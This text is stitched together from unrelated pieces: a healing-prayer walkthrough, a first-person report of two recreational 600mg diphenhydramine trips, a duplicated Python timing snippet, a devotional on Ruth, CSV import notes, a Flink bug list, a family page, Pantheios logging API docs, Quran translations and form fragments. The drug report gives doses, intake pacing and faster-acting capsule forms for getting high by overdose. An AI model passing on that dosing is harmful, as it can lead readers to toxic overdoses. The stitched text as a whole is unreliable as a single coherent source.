Quick Start
Our faith in Jesus can act like a shield
"with which we can extinguish all the fiery darts of the wicked one". When we
hold strong to faith in Jesus, the darts that the enemy fires at us get stopped
and the fire on the darts gets extinguished.
But, what happens when we're not ready with our shield? We end up getting hit
with the arrows and we are left with residual injuries in need of care and healing.
Thankfully, Jesus offers us the healing and cleansing that we need to mend injuries
to our spirit on the inside. This walkthrough will take you through a series of prayers
you can pray to access the healing that Jesus offers us.
When you're ready, scroll down to begin!
Punctures
- "Jesus, please remove all projectiles that have caused me injury."
- "Please sterilize all wounds with your living water and healing oil."
- "Please close all open wounds."
Adhesives
- "Jesus, please cut away anything that is an unhealthy rope or cord."
- "Please remove any labels or curses with your fire."
Heat
- "Jesus, please apply your healing oil to any heat injuries."
- "Please restore any injured areas."
Calluses
- "Jesus, please apply your healing oil to any callused areas."
Poison
- "Jesus, please remove all poison from my spirit."
Cuts
- "Jesus, please sterilize any cuts with your living water and healing oil."
- "Please close any open wounds."
Combustibles
- "Jesus, please apply your fire to all wood, hay or straw in my spirit."
- "Please wash me with your living water."
Waste
- "Jesus, please apply your cleansing fire to any mud or contaminants."
- "Please wash me with your living water."


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Burned once, Now Twice.
This report contains two separate trips, so bear with me here, as I try to make this understandable.
My first time.
Stats:
Brand name: Benadryl
Active ingredient: Diphenhydramine hydrochloride
Pill type: 'Ultratabs' Tiny, pink.
Amounts: 25mg per pill, 12 pills per sheet, 2 sheets.
Total intake: 24 pills=600mg of diphenhydramine.
 So I opened up a box of Benadryl, and began removing all the pills from the sheets, which can be a real pain in the ass, but a good way to clear your mind before going on this adventure. I decided to start off slowly, which I thought was the best way at the time. Sitting at my computer, like I am now, I took two pills every half-minute, followed by a swig of my favorite green tea, until twelve pills were consumed. Then, I waited. And waited. And waited. I knew I'd have to wait, because I'd known from taking aspirin for pain, that it usually takes pills anywhere from 20-60 minutes to take effect.
After talking to friends on AIM and browsing around for about 30 minutes, I thought that the way I ingested the first dozen pills was too moderated to have any real effects. So I took the second dozen in my hand, popped them into my mouth, and swallowed them all at once. Right as they hit the back of my throat, I knew I was wrong, because that was when the effects of the first dozen began to hit me. My legs began to cramp up, and my fingers would tingle with every tap on the keyboard. I felt the need to run, the need to constantly move my legs around, but it felt hard to get up out of the chair for no reason like that. So I sat there, with this funny feeling running up and down the lower half of my body, like waves of ants, until I absolutely had to get up, because I had to piss.
I found walking to be slightly awkward, sort of like being drunk. Only I wasn't drunk, and still managed to get to the bathroom just fine.   No worries. So I went outside to have a cigarette, still with the funny feeling in my legs, and the tingliness in my fingers.
It was dark outside, and as I sat down in my deck chair, I pulled out a cigarette, lit it, and took a couple drags. After about the third pull, I noticed a large ladybug crawling underneath the left armrest of my chair. This was a BIG ladybug, almost as wide as the armrest itself. I looked at it in disgust, and punched the armrest hard. The ladybug fell onto it's back, and I stepped on it with the heel of my shoe. I looked away, feeling victorious, and took another drag off my cigarette. I looked back at my heel, and lifted it up, expecting to see the flattened remains of a freakishly large ladybug, only to realize that the ladybug had never existed. 'That's weird,' I thought. But I managed to finish my cigarette with no more strange visuals or feelings, except the ones still running up and down my legs, and the tingly fingers.
I walked back to the computer, sat down, and tried to get comfortable, but it was quite impossible. The cigarette had unknowingly boosted my 'high' as it usually does when I am high on better things, like cannabis.  It had been a half-hour since I popped the second dozen pills, so I figured I should have all 24 pills dissolved and running circles in my brain by now. I had no strange visuals this time. I did take notice of how the feelings in my legs, the restlessness of them, and the tingling in my fingers, were getting more intense.
 I knew the cig's cherry was red, so why was it turning green? I knew my garage was yellow, so why did it appear brown? Even though it was dark outside, I could still see vivid colors in things that were in the shadows, but they were the wrong colors. I continued to smoke my cigarette, feeling tired from all the thinking and moving, so I stopped thinking, finished my cigarette, and went inside. I managed to pour myself another glass of green tea, and it didn't seem to have a taste to it. That didn't bother me, and I finished the glass. Feeling tired, I went to bed. The only problem was, I couldn't sleep.
I rolled around for half the night, trying to get comfortable, and for some reason, I just couldn't get comfy and pass out. I looked at my tv remote, thinking that watching some tv would help me get to sleep, but I couldn't find the strength to even get up, let alone, pick up the remote and push the ON button. I just laid there, feeling uncomfortable, out of place, and helpless. I felt like there was some other place I had to be, but I didn't know where it was or how to get there. I wanted to leave, but I couldn't get up. I just rolled around my bed in a stupor for the next half-hour until the feelings started to calm down, and I started to calm down. I thought, 'Here's where I pass out. I should've been more patient.' And I was right. I passed out.
I woke up around noon the next day, in a daze. I couldn't remember half of what I talked about with people online, or what I dreamt about. I thought to myself as I had my morning cigarette, 'Well, that was something different.' I was left with no emotions for the entire day after, due to some sort of strange, psychological hangover. I can't say it was a good trip, but I can't say it was a bad one, either. It was my first experience with diphenhydramine, and I knew I would try it again if I had the chance. Which brings me to my second trip with Benny.
My second time.
Stats:
Brand name: Benadryl
Active ingredient: Diphenhydramine hydrochloride
Pill type: Dye-free, clear, liquid-filled capsules.
Amounts: 25mg per pill, 12 pills per sheet, 2 sheets.
Total intake: 24 pills=600mg of diphenhydramine.
What I lacked in experience the first time, I made up for it with sheer recklessness the second time. Once again, I cleared my mind while removing all the pills from their protective sheets. And so it began, just like the first time, darkness outside, sitting at this computer, in this crappy, uncomfortable chair, only this time, there would be no moderation. So I popped two at a time, until all 24 were swallowed, then chased them down with a big swig of green tea. I thought I'd be waiting another half-hour while the pills dissolved and worked into my system. WRONG! Turns out that the dye-free liquid-filled capsules dissolve faster, go to work faster, and are more pure and intense than the regular tablets. I was tripping within fifteen minutes.
The screen would tilt, my legs were moving around uncontrollably, my mouth became a desert, and I could feel every pulse of my heart, feel the blood as it goes through my arteries and veins, through every inch of my body. My mind was more focused than last time, and instead of jumping from one IM window to another whenever someone sent a reply, I would focus on one conversation at a time, and finish one topic off with one person before going on to another with another person.  And again, I'd stumble and wobble all the way to the bathroom, but make it there just fine, and once again, I'd be horrified at the sight of my shrunken cock, brush the thought off, take a piss, and head back to the computer.
I managed to have more of a mental trip than a physical one this time, probably because of the purity of the medicine, and the quickness with which it took effect. I wasn't uncomfortable this time, and I could ignore everything around me and focus all my attention on the computer screen, and all my energy into typing. One thing I noticed was that with each thing a person said on-screen, I could hear their voice as if they were standing right next to me. That was beyond normal, but I ignored it. I eventually got tired, probably from all the focusing and whatnot, so I went outside for a cigarette before going to bed. I didn't have any visuals this time, but the taste of my cigarette seemed extremely intense, and I was almost disgusted. But I had my green tea with me, and that helped wash away the bad taste of the cigarette. I finished the smoke, had to strain every muscle in my body to get up, and I went inside. Got more green tea without trouble, and went upstairs to bed.
I thought I passed out, but all I remember from that night was constantly bursting awake, thinking I was smoking a cigarette in my sleep, and expecting to see a cigarette butt in my hand. I'd search frantically for it, but then I'd look in my pack, and count how many I had left, and realize I hadn't smoked any since before coming inside and going to bed. This happened at least five or six times, and it always ended the same, with the same number of smokes in my pack. But it seemed as if I slept just fine after the Benny started wearing off. The thought of what happened that night had troubled and confused me while I was out the next morning, with my morning cigarette, but the thought soon passed as I realized, 'It's just a drug.  And I went about my day with the same lack-of-all-emotion hangover that I had the first time.
In conclusion, I'd say I would never try this substance again. Being high is better, anyways. Cannabis will always be my friend, till the day I die.
NeeDLeiNTHeTHRoaT
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


// Run the network on the input for time `run_time`.
start = timeit.timeit()
spikes = network.run(inpts={}, time=run_time)
end = timeit.timeit()
results[i] = end - start
print("Average: ",torch.mean(results)," std: ",torch.std(results))
for i in range(tests):
// Run the network on the input for time `run_time`.
start = time.time()
spikes = network.run(inpts={}, time=run_time)
end = time.time()
results[i] = end - start
print(results[i])


Day 5: Revelation: Kinsman-Redeemer
Read God’s Word
19 Her mother-in-law asked her, “Where did you glean today? Where did you work? Blessed be the man who took notice of you!”
Then Ruth told her mother-in-law about the one at whose place she had been working. “The name of the man I worked with today is Boaz,” she said.
20 “The Lord bless him! ” Naomi said to her daughter-in-law. “He has not stopped showing his kindness to the living and the dead.” She added, “That man is our close relative; he is one of our kinsman-redeemers.”
Ruth 2:19-20
Reflect and Respond
When we named our daughter Katherine Juliet, friends commented that her name sounded like royalty, or at least like someone out of Shakespeare. The Kate most talked about in the news in the last couple of years is royalty, a real-life princess: the beautifully poised young woman who will probably be the next queen of England. I’ve kept some pictures of the wedding of Kate and Prince William, which took place while I was pregnant with our little Kate, so that she can see them someday. Watching that royal wedding took so many women back to the dreams of their childhood, like watching a real-life fairy tale.
Now that I have a daughter, I do feel a certain excitement about a future that includes watching movies about princesses and playing dress up with gowns, pearls, and tiaras. As a girl I loved all the Disney princess movies, the ones that told basically the same story: a princess, beautiful but helpless, finds herself in a dangerous situation and needs someone to rescue her. A prince, of the charming variety, comes along and is enraptured by her loveliness. He fights the battle she needs fought. She is overwhelmed with gratitude, falls into his arms, and they live happily ever after.
But along with nostalgia for the stories I loved as a little girl, I also have a growing wariness about these fairy tales. I’m starting to realize that although those stories captured my imagination and gave me some of my first dreams of romance, they also did me a great disservice.


You can import a csv file of requests, and it will update the existing requests in the system. BEWARE this means you can edit and potentially damage many records. PLEASE export records from the system before you import so we can recover any damage caused. Every row in the csv must contain values for the fields you want to change in each request - so each row needs at least an _id, to identify which request the changes are for. Blank cells will have no effect. If you want to remove a particular value from a request and replace it with nothing, enter the value DELETE in the relevant cell.
The accepted fields match what you can export for requests from /export, and they are:
Note, although _id is required and created_date is accepted, you cannot alter the values of those fields - if they are changed in the import csv, they will be ignored.
If you want to create new records, you must create them in the system FIRST and then submit a sheet here to edit them. You can create requests in bulk by using the /admin page bulk job upload feature - upload a csv full of the identifiers you want to check for, and then once the job is done and all have been checked, you can use the "create requests for unavailable" option there (coming soon). Once you have created the requests, go to the export page again, and do an export restricted to today, then you can filter the list you receive down to just the new ones you just created. From that csv you can then generate your import csv to import here.


| FLINK-2584 |
ASM dependency is not shaded away |
Major |
Core |
Ufuk Celebi |
Stephan Ewen |
| FLINK-2555 |
Hadoop Input/Output Formats are unable to access secured HDFS clusters |
Critical |
. |
Robert Metzger |
Robert Metzger |
| FLINK-2540 |
LocalBufferPool.requestBuffer gets into infinite loop |
Blocker |
Core |
Gabor Gevay |
Ufuk Celebi |
| FLINK-2527 |
If a VertexUpdateFunction calls setNewVertexValue more than once, the MessagingFunction will only see the first value set |
Major |
Gelly |
Gabor Gevay |
Gabor Gevay |
| FLINK-2460 |
ReduceOnNeighborsWithExceptionITCase failure |
Major |
. |
Sachin Goel |
Ufuk Celebi |
| FLINK-2447 |
TypeExtractor returns wrong type info when a Tuple has two fields of the same POJO type |
Major |
Java API |
Gabor Gevay |
Timo Walther |
| FLINK-2442 |
PojoType fields not supported by field position keys |
Critical |
Java API |
Fabian Hueske |
Fabian Hueske |
| FLINK-2437 |
TypeExtractor.analyzePojo has some problems around the default constructor detection |
Minor |
Type Serialization System |
Gabor Gevay |
Gabor Gevay |
| FLINK-2424 |
InstantiationUtil.serializeObject(Object) does not close output stream |
Major |
Core |
Ufuk Celebi |
Ufuk Celebi |
| FLINK-2422 |
Web client is showing a blank page if "Meta refresh" is disabled in browser |
Minor |
Web Client |
Robert Metzger |
|
| FLINK-2412 |
Race leading to IndexOutOfBoundsException when querying for buffer while releasing SpillablePartition |
Critical |
Distributed Runtime |
Andra Lungu |
Ufuk Celebi |
| FLINK-2384 |
Deadlock during partition spilling |
Critical |
Distributed Runtime |
Ufuk Celebi |
Ufuk Celebi |
| FLINK-2362 |
distinct is missing in DataSet API documentation |
Major |
Documentation, Java API, Scala API |
Fabian Hueske |
pietro pinoli |
| FLINK-2361 |
CompactingHashTable loses entries |
Critical |
Gelly |
Andra Lungu |
Stephan Ewen |
| FLINK-2356 |
Resource leak in checkpoint coordinator |
Major |
JobManager, Streaming |
Ufuk Celebi |
|
| FLINK-2353 |
Hadoop mapred IOFormat wrappers do not respect JobConfigurable interface |
Major |
Hadoop Compatibility |
Fabian Hueske |
Fabian Hueske |
| FLINK-2347 |
Rendering problem with Documentation website |
Major |
Documentation |
Henry Saputra |
Maximilian Michels |
| FLINK-2325 |
PersistentKafkaSource throws ArrayIndexOutOfBoundsException if reading from a topic that is created after starting the Source |
Major |
Kafka Connector |
Rico Bergmann |
Robert Metzger |
| FLINK-2298 |
Allow setting custom YARN application names through the CLI |
Major |
YARN Client |
Robert Metzger |
Robert Metzger |
| FLINK-2293 |
Division by Zero Exception |
Critical |
Local Runtime |
Andra Lungu |
Stephan Ewen |
| FLINK-2286 |
Window ParallelMerge sometimes swallows elements of the last window |
Major |
Streaming |
Márton Balassi |
Gábor Hermann |
| FLINK-2285 |
Active policy emits elements of the last window twice |
Major |
Streaming |
Márton Balassi |
Márton Balassi |
| FLINK-2280 |
GenericTypeComparator.compare() does not respect ascending flag |
Critical |
Core |
Fabian Hueske |
Fabian Hueske |
| FLINK-2262 |
ParameterTool API misnamed function |
Major |
Java API |
Greg Hogan |
Maximilian Michels |
| FLINK-2257 |
Open and close of RichWindowFunctions is not called |
Minor |
Streaming |
Márton Balassi |
Márton Balassi |
| FLINK-2229 |
Data sets involving non-primitive arrays cannot be unioned |
Major |
Java API, Scala API |
Sebastian Kruse |
Sebastian Kruse |
| FLINK-2205 |
Confusing entries in JM Webfrontend Job Configuration section |
Minor |
Webfrontend |
Fabian Hueske |
|
| FLINK-2189 |
NullPointerException in MutableHashTable |
Major |
Core |
Till Rohrmann |
Stephan Ewen |
| FLINK-2089 |
"Buffer recycled" IllegalStateException during cancelling |
Major |
Distributed Runtime |
Ufuk Celebi |
Ufuk Celebi |
| FLINK-1916 |
EOFException when running delta-iteration job |
Major |
Local Runtime |
Stefan Bunk |
Stephan Ewen |


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I'm a web designer and full stack developer with a background in digital marketing. I am currently based in Houston, Texas. I have a passion for creating responsive web application. I combine my coding skills with my online marketing skills.
WHAT CAN I DO?
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In Deed Family Is The GreatestbBlessing Of ALLAH
Lorem ipsum dolor sit amet consectetur adipisicing elit. Distinctio consequatur quos deleniti commodi
quisquam molestias numquam a omnis odit repellat? Facilis, voluptates. Rem quia odio voluptatibus, nostrum
id sunt distinctio!
Qutation
faimly importance
its a price less gift of Allah
I love my family
1: A loving family is a treasure from allah.
2: If allah has blessed you with a close knit, supportive clan, offer a word of thanks to your Creator because He has given you one of His most precious earthly possessions.
3: Your obligation, in response to Allah’s gift, is to treat your family in ways that are consistent with His commandments.
4: The joy of living with your parents, fighting with your siblings over petty can just make you smile the moment you think of it.
5: From moral teachings to love and support, my family has always helped me without any demand.
6: There is no doubt that we experience our biggest triumphs when we really connect to them.
7: My family is like a strong pillar for me, on which I can rely blindly anytime I require support.
8: From my family, I have learned the social graces of loyalty & cooperation.
9: We do not have much money or wealth but what my family has in abundance is love for each other which cannot be replaced by anything else in this world.
10: My father and my mother are the role models to my sister and me.
11: They struggle a lot to give us a better life.
12: More than anything they have taught us discipline and morals of life which is helping us to lead our lives in a righteous path even today.
click
ME for more qutation
My Family Member
Dada Abo
Papa jani
Mama jani
Zoha
Maha
Fatima
Abdul Hadi
As My family consists of my grandfather, my mother, my father, two young sisters and one brother younger to me.
My grandparent are the pillars of my family and my grandfather is the head of my family.
He is the one whose decision relating to any matter is final and all of us do respect it.
Right from my childhood,
my family members have prepared me for the challenges
that I’ll face in the years ahead.
In addition to this,
all of my family members help and serve each other at times of need.
These qualities that I have learnt from my family has helped me to shape my adult life in a right manner.
I am really very attached to my grandfather.
He holds an excellent life experience because he has already faced so many ups and downs.
My Grandfather has helped me to build my perception & vision towards society.
My family has always been there to motivate and encourage me to overcome all difficulties in life and achieve success.
The role of every member in my family is unique and important in their own way.
I thank Allah that I have grown up in a family full of love and discipline.
My family values will definitely help me in becoming a better person.
I cannot ask anything more to Allah since HE has already showered me with my family
which I treasure the most every second and will safeguard even in the future. ameen!
click me for more beutiful Qutation
click the
image to share your ideas about the topic
Family is a blessing of Allah


|
|
The back-end is responsible solely for translating the log entry - severity indicator + length-specified, nul-terminated string - into output, as appropriate to its implementation.
There are several stock back-ends supplied with the Pantheios distribution (http://pantheios.org/), providing logging to stderr (using fprintf()
), SysLog (using UNIX syslog(), or an emulation library on Windows), Windows Debugger, ACE output. You may also supply your own back-end by implementing the three simple functions of the API: pantheios_be_init(), pantheios_be_uninit(), and pantheios_be_logEntry().
Modules | |
| Pantheios Stock Back-ends | |
| Pre-built back-ends supplied with the Pantheios library. | |
| Pantheios Stock Back-end Ids | |
| Stock back-end identifiers used by the Pantheios back-end libraries. | |
| Pantheios Back-end Initialisation Flags | |
| Flags for the Pantheios Stock Back-ends. | |
Defines | |
| #define | pantheios_be_console_parseArgs(numArgs, args, init) pantheios_be_fprintf_parseArgs(numArgs, args, init) |
| Parses the be.console back-end flags. | |
| #define | pantheios_be_fprintf_parseArgs(num, args, init) pantheios_be_parseStockArgs((num), (args), (NULL == (init)) ? NULL : (&(init)->flags)) |
| Parses the be.fprintf back-end flags. | |
| #define | pantheios_be_null_parseArgs NULL |
| Parses the be.null back-end flags. | |
| #define | pantheios_be_test_parseArgs NULL |
| Parses the be.test back-end flags. | |
| #define | pantheios_be_WindowsDebugger_parseArgs(num, args, init) pantheios_be_parseStockArgs((num), (args), (NULL == (init)) ? NULL : (&(init)->flags)) |
| Parses the be.WindowsDebugger back-end flags. | |
Functions | |
| int | pantheios_be_init (PAN_CHAR_T const *processIdentity, void *reserved, void **ptoken) |
| Initialises the back-end API. | |
| void | pantheios_be_uninit (void *token) |
| Uninitialises the back-end API. | |
| int | pantheios_be_logEntry (void *feToken, void *beToken, int severity, PAN_CHAR_T const *entry, size_t cchEntry) |
| Passes a log-entry to the back-end API. | |
| int | pantheios_be_COMErrorObject_parseArgs (size_t numArgs, pantheios::pan_slice_t *const args, pan_be_COMErrorObject_init_t *init) |
| Parses the be.COMErrorObject back-end flags. | |
| int | pantheios_be_file_parseArgs (size_t numArgs, pantheios::pan_slice_t *const args, pan_be_file_init_t *init) |
| Parses the be.file back-end flags. | |
| int | pantheios_be_speech_parseArgs (size_t numArgs, pantheios::pan_slice_t *const args, pan_be_speech_init_t *init) |
| Parses the be.speech back-end flags. | |
| int | pantheios_be_syslog_parseArgs (size_t numArgs, pantheios::pan_slice_t *const args, pan_be_syslog_init_t *init) |
| Parses the be.syslog back-end flags. | |
| int | pantheios_be_WindowsConsole_parseArgs (size_t numArgs, pantheios::pan_slice_t *const args, pan_be_WindowsConsole_init_t *init) |
| Parses the be.WindowsConsole back-end flags. | |
| int | pantheios_be_WindowsSyslog_parseArgs (size_t numArgs, pantheios::pan_slice_t *const args, pan_be_WindowsSyslog_init_t *init) |
| Parses the be.WindowsSyslog back-end flags. | |
| int | pantheios_be_parseBooleanArg (size_t numArgs, pantheios::pan_slice_t *const args, pantheios::pan_char_t const *argName, int flagSuppressesAction, pantheios::pan_uint32_t flagValue, pantheios::uint32_t *flags) |
| Parses a single boolean back-end argument. | |
| int | pantheios_be_parseStringArg (size_t numArgs, pantheios::pan_slice_t *const args, pantheios::pan_char_t const *argName, pantheios::pan_slice_t *argValue) |
| Parses a single string back-end argument. | |
| int | pantheios_be_parseStockArgs (size_t numArgs, pantheios::pan_slice_t *const args, pantheios::uint32_t *flags) |
| Parses the stock back-end arguments. |
| #define pantheios_be_console_parseArgs | ( | numArgs, | |||
| args, | |||||
| init | ) | pantheios_be_fprintf_parseArgs(numArgs, args, init) |
Parses the be.console back-end flags.
Processes an argument list in the same way as pantheios_be_parseStockArgs(), filling out the pan_be_console_init_t in accordance with the arguments found.
Recognises the following standard argument names:
Recognises the following back-end specific argument names:
| #define pantheios_be_fprintf_parseArgs | ( | num, | |||
| args, | |||||
| init | ) | pantheios_be_parseStockArgs((num), (args), (NULL == (init)) ? NULL : (&(init)->flags)) |
Parses the be.fprintf back-end flags.
Processes an argument list in the same way as pantheios_be_parseStockArgs(), filling out the pan_be_fprintf_init_t in accordance with the arguments found.
Recognises the following standard argument names:
There are currently no back-end specific arguments, hence pantheios_be_fprintf_parseArgs is actually a #define for pantheios_be_parseStockArgs. At such time as back-end specific arguments are required, it will become a first-class function.
| #define pantheios_be_null_parseArgs NULL |
Parses the be.null back-end flags.
There are currently no arguments whatsoever for be.null, hence pantheios_be_null_parseArgs is actually a #define for NULL
. At such time as back-end specific arguments are required, it will become a first-class function.
| #define pantheios_be_test_parseArgs NULL |
Parses the be.test back-end flags.
There are currently no arguments whatsoever for be.test, hence pantheios_be_test_parseArgs is actually a #define for NULL
. At such time as back-end specific arguments are required, it will become a first-class function.
| #define pantheios_be_WindowsDebugger_parseArgs | ( | num, | |||
| args, | |||||
| init | ) | pantheios_be_parseStockArgs((num), (args), (NULL == (init)) ? NULL : (&(init)->flags)) |
Parses the be.WindowsDebugger back-end flags.
Processes an argument list in the same way as pantheios_be_parseStockArgs(), filling out the pan_be_WindowsDebugger_init_t in accordance with the arguments found.
Recognises the following standard argument names:
There are currently no back-end specific arguments, hence pantheios_be_WindowsDebugger_parseArgs is actually a #define for pantheios_be_parseStockArgs. At such time as back-end specific arguments are required, it will become a first-class function.
| int pantheios_be_COMErrorObject_parseArgs | ( | size_t | numArgs, | |
| pantheios::pan_slice_t *const | args, | |||
| pan_be_COMErrorObject_init_t * | init | |||
| ) |
Parses the be.COMErrorObject back-end flags.
Processes an argument list in the same way as pantheios_be_parseStockArgs(), filling out the pan_be_COMErrorObject_init_t in accordance with the arguments found.
Recognises the following standard argument names:
Recognises the following back-end specific argument names:
| int pantheios_be_file_parseArgs | ( | size_t | numArgs, | |
| pantheios::pan_slice_t *const | args, | |||
| pan_be_file_init_t * | init | |||
| ) |
Parses the be.file back-end flags.
Processes an argument list in the same way as pantheios_be_parseStockArgs(), filling out the pan_be_COMErrorObject_init_t in accordance with the arguments found.
Recognises the following standard argument names:
Recognises the following back-end specific argument names:
| int pantheios_be_init | ( | PAN_CHAR_T const * | processIdentity, | |
| void * | reserved, | |||
| void ** | ptoken | |||
| ) |
Initialises the back-end API.
This function is called once by the Pantheios core library to initialise the back-end library. It passes the process identity (in the form of a nul-terminated C-style string) and a second parameter (reserved for future use; currently always has value 0), which the back-end may use in its initialisation. The third parameter is a pointer to a void*, with which the back-end may store state, to be passed back to it in the pantheios_be_logEntry() and pantheios_be_uninit() functions.
| processIdentity | The identity of the process within which Pantheios is being used. Should be a meaningful human-readable string. Must not be NULL. Maximum length is limited solely by what the back-end library can accomodate. The string pointed to by this parameter may not persist after the call is complete, so the back-end should take a copy if required. | |
| reserved | Currently reserved. Will contain 0 in the current version of the Pantheios library | |
| ptoken | Pointer to a variable to receive the back-end token, which will be stored in the Pantheios library and passed to the pantheios_be_logEntry() and pantheios_be_uninit() functions |
This function is called at most once per process.
| <0 | Initialisation failed. | |
| >=0 | Initialisation succeeded |
| int pantheios_be_logEntry | ( | void * | feToken, | |
| void * | beToken, | |||
| int | severity, | |||
| PAN_CHAR_T const * | entry, | |||
| size_t | cchEntry | |||
| ) |
Passes a log-entry to the back-end API.
This function is called by the Pantheios core library to emit a log entry. It is passed five parameters. The severity
, entry
and cchEntry
parameters describe the severity level, and the nul-terminated contents of the log entry. The feToken
and beToken
parameters hold the library-specific state of the front-end and back-end librarys, respectively.
This may be called from any thread in a multi-threaded process.
| feToken | The front-end token, created by the pantheios_fe_init() function. This value does not hold any meaning to the back-end library, and may be used only to passed back to the front-end in calls to pantheios_fe_isSeverityLogged(). | |
| beToken | The back-end token, created by the pantheios_be_init() function | |
| severity | The severity level. | |
| entry | The nul-terminated string containing the entry information | |
| cchEntry | The number of bytes in the string, not including the nul-terminating character |
| int pantheios_be_parseBooleanArg | ( | size_t | numArgs, | |
| pantheios::pan_slice_t *const | args, | |||
| pantheios::pan_char_t const * | argName, | |||
| int | flagSuppressesAction, | |||
| pantheios::pan_uint32_t | flagValue, | |||
| pantheios::uint32_t * | flags | |||
| ) |
Parses a single boolean back-end argument.
Searches the argument slices list for an argument of the given name. If it has one of the values ['yes', 'true', 'no', 'false'] the flags parameter is adjusted to either set or remove the flagValue value, as directed by the flagSuppressesAction parameter, and the argument is marked as having been processed by setting its length to 0.
| numArgs | Number of elements in the argument array. May be 0 | |
| args | Pointer to the base of the argument array. May only be NULL if numArgs is 0 | |
| argName | The name of the value to look for. May not be NULL | |
| flagSuppressesAction | Indicates whether the flagValue is a suppression flag, such as PANTHEIOS_BE_INIT_F_NO_SEVERITY, rather than an activation flag, such as PANTHEIOS_BE_INIT_F_USE_SYSTEM_TIME. | |
| flagValue | A flag value, such as PANTHEIOS_BE_INIT_F_NO_SEVERITY | |
| flags | A pointer to a flags variable whose value may be modified upon a successful match. May not be NULL. |
| 0 | No matching arguments were found, or the argument was found but did not have boolean values | |
| 1 | An argument with the given name, and with values interpretable as boolean, was found. |
NULL != argName
NULL != flags
| int pantheios_be_parseStockArgs | ( | size_t | numArgs, | |
| pantheios::pan_slice_t *const | args, | |||
| pantheios::uint32_t * | flags | |||
| ) |
Parses the stock back-end arguments.
Searches the argument slices list for the arguments associated with all stock Pantheios Back-end Initialisation Flags. For each argument found (and having an appropriate value; see pantheios_be_parseBooleanArg()) its value is processed, the flags parameter's value is adjusted accordingly, and the argument slice's length is set to 0 to indicate that it has been successfully processed. Returns the number of arguments successfully matched.
Recognises the following argument names:
| numArgs | Number of elements in the argument array. May be 0 | |
| args | Pointer to the base of the argument array. May only be NULL if numArgs is 0 | |
| flags | A pointer to a flags variable whose value may be modified upon a successful matches. May not be NULL. |
NULL != flags
| int pantheios_be_parseStringArg | ( | size_t | numArgs, | |
| pantheios::pan_slice_t *const | args, | |||
| pantheios::pan_char_t const * | argName, | |||
| pantheios::pan_slice_t * | argValue | |||
| ) |
Parses a single string back-end argument.
Searches the argument slices list for an argument of the given name. If found, it transfers the slice (i.e. copies the pointers) to the given argument value parameter.
| numArgs | Number of elements in the argument array. May be 0 | |
| args | Pointer to the base of the argument array. May only be NULL if numArgs is 0 | |
| argName | The name of the value to look for. May not be NULL | |
| argValue | A pointer to a slice that will receive the value part of an argument if successfully matched. May not be NULL. |
NULL != argName
NULL != argValue
| int pantheios_be_speech_parseArgs | ( | size_t | numArgs, | |
| pantheios::pan_slice_t *const | args, | |||
| pan_be_speech_init_t * | init | |||
| ) |
Parses the be.speech back-end flags.
| int pantheios_be_syslog_parseArgs | ( | size_t | numArgs, | |
| pantheios::pan_slice_t *const | args, | |||
| pan_be_syslog_init_t * | init | |||
| ) |
Parses the be.syslog back-end flags.
Processes an argument list in the same way as pantheios_be_parseStockArgs(), filling out the pan_be_COMErrorObject_init_t in accordance with the arguments found.
Recognises the following standard argument names:
Recognises the following back-end specific argument names:
| void pantheios_be_uninit | ( | void * | token | ) |
Uninitialises the back-end API.
This function is called to uninitialise the back-end library during the uninitialisation of the Pantheios core library. It is passed the value of the token stored on its behalf by the Pantheios core library.
This function is called at most once per process.
| token | The back-end token, created by the pantheios_be_init() function |
| int pantheios_be_WindowsConsole_parseArgs | ( | size_t | numArgs, | |
| pantheios::pan_slice_t *const | args, | |||
| pan_be_WindowsConsole_init_t * | init | |||
| ) |
Parses the be.WindowsConsole back-end flags.
Processes an argument list in the same way as pantheios_be_parseStockArgs(), filling out the pan_be_WindowsConsole_init_t in accordance with the arguments found.
Recognises the following standard argument names:
Recognises the following back-end specific argument names:
| int pantheios_be_WindowsSyslog_parseArgs | ( | size_t | numArgs, | |
| pantheios::pan_slice_t *const | args, | |||
| pan_be_WindowsSyslog_init_t * | init | |||
| ) |
Parses the be.WindowsSyslog back-end flags.
Processes an argument list in the same way as pantheios_be_parseStockArgs(), filling out the pan_be_COMErrorObject_init_t in accordance with the arguments found.
Recognises the following standard argument names:
Recognises the following back-end specific argument names:
|
|
|
| pantheios Library documentation © Matthew Wilson & Synesis Software, 2006-2011 |


Administrator privilages are required in order to upload container updates. For this, you'll have to login as administrator
from - Administrator --> Login as Adminisitrator
. This will enable the adminsitrator menu items. Click on
- Upload --> Upload Container Update
as follows;
In the input panel, you will be requested to supply the installation archives for Windows, Linux and Mac operating systems.


| 045:008 Khan | : |
Who hears the Verses of Allah (being) recited to him, yet persists with pride as if he heard them not. So announce to him a painful torment! |
| 045:008 Maulana | : |
Who hears the messages of Allah recited to him then persists in haughtiness, as though he had not heard them. So announce to him a painful chastisement. |
| 045:008 Pickthal | : |
Who heareth the revelations of Allah recited unto him, and then continueth in pride as though he heard them not. Give him tidings of a painful doom. |
| 045:008 Rashad | : |
The one who hears GOD's revelations recited to him, then insists arrogantly on his way, as if he never heard them. Promise him a painful retribution. |
| 045:008 Sarwar | : |
He hears the revelations of God which are recited to him, then persists in his arrogance as if he had not even heard them. Tell him that he will suffer a painful torment. |
| 045:008 Shakir | : |
Who hears the communications of Allah recited to him, then persists proudly as though he had not heard them; so announce to him a painful punishment. |
| 045:008 Sherali | : |
Who hears the Signs of ALLAH recited unto him, and then proudly persists in disbelief, as though he heard them not. So give him the tidings of a painful punishment. |
| 045:008 Yusufali | : |
He hears the Signs of Allah rehearsed to him, yet is obstinate and lofty, as if he had not heard them: then announce to him a Penalty Grievous! |
Concepts/Themes Covered: أركان الإسلام > التوحيد > الكافرون > افتراؤهم على الله وتكذيبهم ومجادلتهم بآيات الله Pillars of Islam> Islamic> The Disbelievers> Their Fabrication Against Allah, their Denial and Argumentation Against Allah's Signs أركان الإسلام > التوحيد > الكافرون > صفات الكفار Pillars of Islam> Islamic> The Disbelievers> The Characteristics of the Disbelievers
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


All Classes
AdListener
AdRequest
AdSize
BannerView
Beacon
ErrorCode
InterstitialView
Phunware
Placement
PlacementRequest
PlacementResponse
PlacementResponseListener
Positions


Personal data
Surname
First Name
Middle Name
You are
male
female
Age
Country of Residence
Russia
Ukraine
Belarus
City
Ryazan
Moscow
Photography
Title
Web Master
Database Administrator
